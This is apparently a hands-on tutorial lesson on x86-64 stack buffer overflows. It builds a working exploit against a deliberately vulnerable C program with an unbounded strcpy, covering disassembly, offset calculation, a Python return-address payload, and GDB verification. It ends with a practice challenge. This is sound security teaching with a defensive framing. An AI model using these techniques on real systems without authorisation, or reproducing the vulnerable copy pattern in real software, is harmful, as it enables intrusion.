Skip to main content
Be Bitwise
x86 AssemblyBuffer Overflows

Hands-On Stack Smashing

This is the synthesis lesson for buffer overflows. You'll work through the full path a security researcher takes when sizing up a stack-based vulnerability: pulling apart the binary, mapping the stack, finding the offset, and building a payload that lands a control-flow hijack. Every step reinforces what the previous three lessons set up.

Ethical Boundaries and Responsible Disclosure

The techniques in this lesson are for defensive purposes only. Knowing how attacks work is the price of admission for building secure systems, writing detection rules that actually trigger, running authorised pentests, and reviewing security-sensitive code. Never apply these techniques to systems you don't own or have explicit written authorisation to test. If you find a vulnerability in shipped software, follow responsible disclosure: report it to the vendor, give them reasonable time to patch, then coordinate public disclosure.

The Target Program

Consider this deliberately vulnerable program that simulates a simple authentication check:

c
#include <stdio.h>
#include <string.h>
int authenticated = 0;
void check_password(char *input) {
char password_buffer[48];
strcpy(password_buffer, input);
if (strcmp(password_buffer, "s3cur3_p4ssw0rd") == 0) {
authenticated = 1;
}
}
void secret_function() {
printf("ACCESS GRANTED: You reached the secret function!\n");
printf("In a real exploit, this could be arbitrary code.\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
return 1;
}
check_password(argv[1]);
if (authenticated) {
printf("Welcome, authenticated user.\n");
} else {
printf("Access denied.\n");
}
return 0;
}

Compile it with protections disabled:

bash
gcc -fno-stack-protector -no-pie -z execstack -O0 -o target target.c

A quick decoder for the flags: -fno-stack-protector strips canaries, -no-pie builds without PIE (so addresses stay fixed), -z execstack marks the stack executable, and -O0 keeps the optimiser from rearranging the stack out from under us.

Step 1: Disassemble and Map the Stack

Pull up the disassembly of check_password first:

nasm
check_password:
push rbp
mov rbp, rsp
sub rsp, 64 ; allocate stack space
mov qword [rbp-56], rdi ; save the input pointer
; strcpy(password_buffer, input)
mov rdx, qword [rbp-56]
lea rax, [rbp-48] ; password_buffer starts at rbp-48
mov rsi, rdx
mov rdi, rax
call strcpy
; strcmp(password_buffer, "s3cur3_p4ssw0rd")
lea rax, [rbp-48]
lea rsi, [rel .LC0] ; the expected password
mov rdi, rax
call strcmp
test eax, eax
jne .L2
; authenticated = 1
mov dword [rel authenticated], 1
.L2:
nop
leave
ret

Extract the load-bearing facts from the disassembly:

  • Buffer location: [rbp-48] — the buffer starts 48 bytes below the frame pointer
  • Buffer size: 48 bytes (from the C source)
  • Saved rbp: 8 bytes at [rbp+0]
  • Return address: at [rbp+8]

Step 2: Calculate the Offset

c
Offset = distance from buffer start to return address
= (rbp + 8) - (rbp - 48)
= 56 bytes

Breakdown:

  • Bytes 0-47: fill the password_buffer (48 bytes)
  • Bytes 48-55: overwrite the saved rbp (8 bytes)
  • Bytes 56-63: overwrite the return address (8 bytes)

Step 3: Find the Target Address

The goal is to redirect execution into secret_function. Grab its address:

bash
objdump -d -M intel target | grep "secret_function"

Suppose the output shows:

nasm
0000000000401196 <secret_function>:

The address is 0x0000000000401196. As little-endian bytes that becomes \x96\x11\x40\x00\x00\x00\x00\x00.

Step 4: Construct the Payload

python
import struct
import sys
offset = 56
target_addr = 0x401196
# Build the payload
payload = b'A' * offset # padding to reach return address
payload += struct.pack('<Q', target_addr) # overwrite return address (little-endian)
sys.stdout.buffer.write(payload) # raw bytes, not print(payload)

struct.pack('<Q', target_addr) packs the 64-bit address into 8 little-endian bytes, matching how x86-64 stores multi-byte values in memory. Write the result with sys.stdout.buffer.write. print(payload) would print the Python representation, b'AAAA...\x96\x11@...', as text.

Those last five bytes are zeros, and that needs a moment's thought. The payload reaches the program as argv[1], and a C string can't contain a NUL, so bash drops them (with a warning, "ignored null byte in input") when you use $(...). Even if they got through, strcpy would stop at the first one. It doesn't matter here. strcpy copies the 56 As and 96 11 40, then writes its own terminating NUL, and the return address it overwrites pointed into main, so its top bytes were already zero. The slot ends up holding 0x0000000000401196.

Step 5: Understand the Exploitation Flow

Use the exploit builder below to see how the payload maps onto the stack. It's set up for this target: a 48-byte buffer, the return address at offset 56, and secret_function at 0x401196. Fill the buffer and the saved rbp with padding, then drop the address blocks on the return-address slot. The builder files this under "rop" because, like a ROP chain, the payload reuses code that's already in the binary rather than injecting any.

Exploit Builder

rop

Chain return addresses to existing code gadgets instead of injecting shellcode.

Padding
Address
Offset 0x00Buffer (48B)RET @ 0x38
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
??
??
??
??
Stack Layout
Buffer [48B]
SFP
RET [4B]
Target: 0x00401196

The exploit flow proceeds as follows:

Step 6: Verify in a Debugger

Use GDB to confirm each step of the exploit:

bash
gdb ./target
(gdb) disassemble check_password
(gdb) break *check_password+62 # break before ret
(gdb) run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*56 + (0x401196).to_bytes(8, "little"))')

At the breakpoint, examine the stack:

c
(gdb) x/2xg $rbp
0x7fffffffe1d0: 0x4141414141414141 <- saved rbp (overwritten with A's)
0x7fffffffe1d8: 0x0000000000401196 <- return address (our target!)

Continue execution and the CPU lands in secret_function instead of returning to main.

If it then crashes inside printf on a movaps instruction, that's stack alignment, not a wrong offset. A normal call enters a function with rsp 8 bytes off a 16-byte boundary. Arriving by ret leaves it on the boundary, so everything secret_function calls is misaligned by 8, and SSE code in libc that expects alignment faults. ROP chains fix this with an extra bare ret gadget first, but that needs an address full of zero bytes in the middle of the payload, which strcpy can't carry. Here, aim at the instruction just after secret_function's push rbp instead: skipping one 8-byte push restores the alignment. Either way, expect a crash after the message prints, because secret_function eventually returns to whatever comes next on the smashed stack.

Why This Matters for Defense

This exercise is the case study for why input validation is non-negotiable. strcpy has zero feel for the buffer boundary, and one unchecked input can redirect execution anywhere. Every function that copies external data into a fixed-size stack buffer is a candidate vulnerability. Module 12's mitigations — canaries, ASLR, DEP, FORTIFY_SOURCE — are there to make this exploitation path as expensive as possible, but the front line is always sound bounds checking in the source.

Common Pitfalls in Offset Calculation

Real binaries throw a few curveballs at offset calculation:

Compiler alignment padding: the compiler often pads the frame so the stack lines up on a 16-byte boundary. A sub rsp, 64 may carve out more room than the sum of named locals suggests.

Multiple local variables: with several locals in play, the buffer isn't necessarily at the top of the frame. Variables declared after the buffer in C may sit at lower addresses on the stack — or the compiler may reorder them entirely.

Canary slots: -fstack-protector slides an 8-byte canary between the buffer and the saved rbp. The offset shifts, and any corruption trips a check that aborts the program before ret ever runs.

c
Without canary: buffer (48B) | saved rbp (8B) | ret addr (8B)
With canary: buffer (48B) | canary (8B) | saved rbp (8B) | ret addr (8B)

Null bytes in addresses: if the target address has null bytes — and on x86-64 it usually does, since addresses tend to carry leading zeros — strcpy happily quits at the first null. That's why a lot of exploits switch to overflow triggers like read() or recv(), which copy raw bytes regardless.

The Broader Picture

Stack buffer overflows are one instance of a much wider rule: any write past its intended bounds can corrupt whatever's next door. The stack is particularly nasty because it crams several different things into the same neighbourhood:

  • Local variables (data)
  • Saved frame pointers (metadata)
  • Return addresses (control flow)

We used the most straightforward case here. In the real world, exploitation tangles with compiler optimisations, stack protections, ASLR, and DEP. Modules 11 and 12 cover how attackers adapt and how defenders stack mitigations to drive exploitation cost up.

Try It Yourself

In the sandbox below, compile the target, find the offset, dig out secret_function's address, and build a payload that redirects execution. Take each step in order.

Practise on your own machine

You need Linux on x86-64: a virtual machine, WSL 2 on Windows, or a container. Then install the tools with sudo apt install nasm gcc gdb binutils.

What is Next

You've now got a working grip on stack-based buffer overflows: anatomy, mechanics, the classic exploitation technique, the hands-on workflow. Module 10 turns the page to shellcode development — writing the position-independent machine code that attackers used to drop into those overflowed buffers.

Challenges

Given a function with a 64-byte local buffer at [rbp-64] and the return address at [rbp+8], calculate and print the number of bytes needed to overwrite the return address (72) followed by a newline.

Assembly (NASM 2.14.02)